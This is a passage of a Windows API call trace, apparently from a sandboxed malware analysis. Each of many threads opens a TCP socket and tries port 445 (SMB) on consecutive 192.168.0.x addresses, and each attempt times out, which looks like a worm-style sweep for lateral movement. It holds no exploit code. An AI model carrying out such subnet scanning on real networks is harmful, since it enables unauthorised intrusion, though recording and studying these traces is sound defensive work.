[0185.587] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x21eae110, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0185.632] CoUninitialize ()
Thread:
id = 57
os_tid = 0x888
[0163.096] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.097] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xabc
[0163.097] WSAConnect (in: s=0xabc, name=0x270f5a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.44"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.634] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2200e090, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.214] CoUninitialize ()
Thread:
id = 58
os_tid = 0x858
[0163.112] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.112] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xadc
[0163.113] WSAConnect (in: s=0xadc, name=0x270fcc0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.45"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.681] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x221ae390, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.207] CoUninitialize ()
Thread:
id = 59
os_tid = 0x878
[0163.135] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.136] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xafc
[0163.136] WSAConnect (in: s=0xafc, name=0x27103d8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.46"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.728] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2236e0f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.200] CoUninitialize ()
Thread:
id = 60
os_tid = 0x848
[0163.158] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.160] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xb1c
[0163.161] WSAConnect (in: s=0xb1c, name=0x2710af0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.47"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.774] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x21aee250, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.194] CoUninitialize ()
Thread:
id = 61
os_tid = 0x690
[0163.192] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.193] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xb3c
[0163.194] WSAConnect (in: s=0xb3c, name=0x2711208*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.48"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.821] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x225ce1b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.183] CoUninitialize ()
Thread:
id = 62
os_tid = 0x838
[0163.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.205] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xb5c
[0163.206] WSAConnect (in: s=0xb5c, name=0x2711920*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.49"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.868] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x224cded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.177] CoUninitialize ()
Thread:
id = 63
os_tid = 0x7d8
[0163.213] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.214] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xb7c
[0163.214] WSAConnect (in: s=0xb7c, name=0x2712038*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.50"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.914] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2270e0b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.170] CoUninitialize ()
Thread:
id = 64
os_tid = 0xb18
[0163.221] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.222] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xb9c
[0163.223] WSAConnect (in: s=0xb9c, name=0x2712750*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.51"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.961] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x228adb10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.165] CoUninitialize ()
Thread:
id = 65
os_tid = 0xb40
[0163.231] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.232] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xbbc
[0163.233] WSAConnect (in: s=0xbbc, name=0x2712e68*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.52"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.009] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x22aadcf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.155] CoUninitialize ()
Thread:
id = 66
os_tid = 0xa64
[0163.241] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.242] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xbdc
[0163.243] WSAConnect (in: s=0xbdc, name=0x2713580*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.53"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.055] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x22c9d9f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.149] CoUninitialize ()
Thread:
id = 67
os_tid = 0xb58
[0163.263] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.264] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xbfc
[0163.265] WSAConnect (in: s=0xbfc, name=0x2713c98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.54"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.148] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x22e2dbd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.193] CoUninitialize ()
Thread:
id = 68
os_tid = 0x4d0
[0163.272] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.273] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xc20
[0163.273] WSAConnect (in: s=0xc20, name=0x27143b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.55"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.195] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x22f5db10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.144] CoUninitialize ()
Thread:
id = 69
os_tid = 0x220
[0163.283] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.284] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xc40
[0163.285] WSAConnect (in: s=0xc40, name=0x2714ac8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.56"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.258] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x231edc90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.139] CoUninitialize ()
Thread:
id = 70
os_tid = 0xb44
[0163.293] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.309] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xc60
[0163.309] WSAConnect (in: s=0xc60, name=0x27151e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.57"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.304] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x230adc50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.349] CoUninitialize ()
Thread:
id = 71
os_tid = 0xb48
[0163.316] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.317] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xc80
[0163.317] WSAConnect (in: s=0xc80, name=0x27158f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.58"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.351] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2335dbf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.395] CoUninitialize ()
Thread:
id = 72
os_tid = 0x4e8
[0163.324] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.327] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xca0
[0163.327] WSAConnect (in: s=0xca0, name=0x2716010*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.59"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.398] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2352dab0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.439] CoUninitialize ()
Thread:
id = 73
os_tid = 0x4dc
[0163.334] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.335] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xcc0
[0163.335] WSAConnect (in: s=0xcc0, name=0x2716728*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.60"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.440] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2369d6d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.134] CoUninitialize ()
Thread:
id = 74
os_tid = 0x284
[0163.355] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.356] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xce0
[0163.356] WSAConnect (in: s=0xce0, name=0x2716e40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.61"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.477] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2380e610, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.120] CoUninitialize ()
Thread:
id = 75
os_tid = 0xbbc
[0163.364] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.365] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd00
[0163.366] WSAConnect (in: s=0xd00, name=0x2717558*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.62"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.511] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x23a3ea10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.553] CoUninitialize ()
Thread:
id = 76
os_tid = 0xa94
[0163.375] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.376] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd20
[0163.376] WSAConnect (in: s=0xd20, name=0x2717c70*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.63"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.554] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x23c0e510, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.074] CoUninitialize ()
Thread:
id = 77
os_tid = 0xb24
[0163.384] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.385] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd40
[0163.385] WSAConnect (in: s=0xd40, name=0x2718388*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.64"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.601] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x218de4d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.646] CoUninitialize ()
Thread:
id = 78
os_tid = 0x988
[0163.395] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.396] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd60
[0163.396] WSAConnect (in: s=0xd60, name=0x2718aa0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.65"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.647] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x23e7ead0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.070] CoUninitialize ()
Thread:
id = 79
os_tid = 0x4e0
[0163.403] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.404] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd80
[0163.407] WSAConnect (in: s=0xd80, name=0x27191b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.66"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.679] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x23d7e750, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.053] CoUninitialize ()
Thread:
id = 80
os_tid = 0x6b8
[0163.420] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.421] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xda0
[0163.421] WSAConnect (in: s=0xda0, name=0x27198d0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.67"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.726] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2404e850, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.049] CoUninitialize ()
Thread:
id = 81
os_tid = 0xad0
[0163.432] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.433] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xdc0
[0163.435] WSAConnect (in: s=0xdc0, name=0x2719fe8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.68"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.773] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2393e750, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.044] CoUninitialize ()
Thread:
id = 82
os_tid = 0x6a8
[0163.443] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.444] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xde0
[0163.444] WSAConnect (in: s=0xde0, name=0x271a700*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.69"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.820] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2421e3f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.253] CoUninitialize ()
Thread:
id = 83
os_tid = 0xa1c
[0163.451] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.452] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xe00
[0163.453] WSAConnect (in: s=0xe00, name=0x271ae18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.70"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.866] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2444e7f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0186.910] CoUninitialize ()
Thread:
id = 84
os_tid = 0xac0
[0163.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.460] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xe20
[0163.460] WSAConnect (in: s=0xe20, name=0x271b530*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.71"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.912] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2467e330, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.036] CoUninitialize ()
Thread:
id = 85
os_tid = 0xa18
[0163.466] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.467] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xe40
[0163.467] WSAConnect (in: s=0xe40, name=0x271bc48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.72"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.944] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2434e850, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.015] CoUninitialize ()
Thread:
id = 86
os_tid = 0x9d8
[0163.478] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.478] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xe60
[0163.479] WSAConnect (in: s=0xe60, name=0x271c380*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.73"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0186.991] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2482e3b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.009] CoUninitialize ()
Thread:
id = 87
os_tid = 0x9f8
[0163.487] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.488] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xe80
[0163.489] WSAConnect (in: s=0xe80, name=0x271ca98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.74"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.038] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x24a7e190, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.001] CoUninitialize ()
Thread:
id = 88
os_tid = 0xa08
[0163.496] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.497] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xea0
[0163.497] WSAConnect (in: s=0xea0, name=0x271d1b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.75"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.104] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x24b8df30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.994] CoUninitialize ()
Thread:
id = 89
os_tid = 0x9c8
[0163.507] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.509] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xec0
[0163.510] WSAConnect (in: s=0xec0, name=0x271d8c8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.76"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0187.147] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x24d7e230, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.984] CoUninitialize ()
Thread:
id = 90
os_tid = 0x9b8
[0163.518] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.519] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xee0
[0163.519] WSAConnect (in: s=0xee0, name=0x271dfe0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.77"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
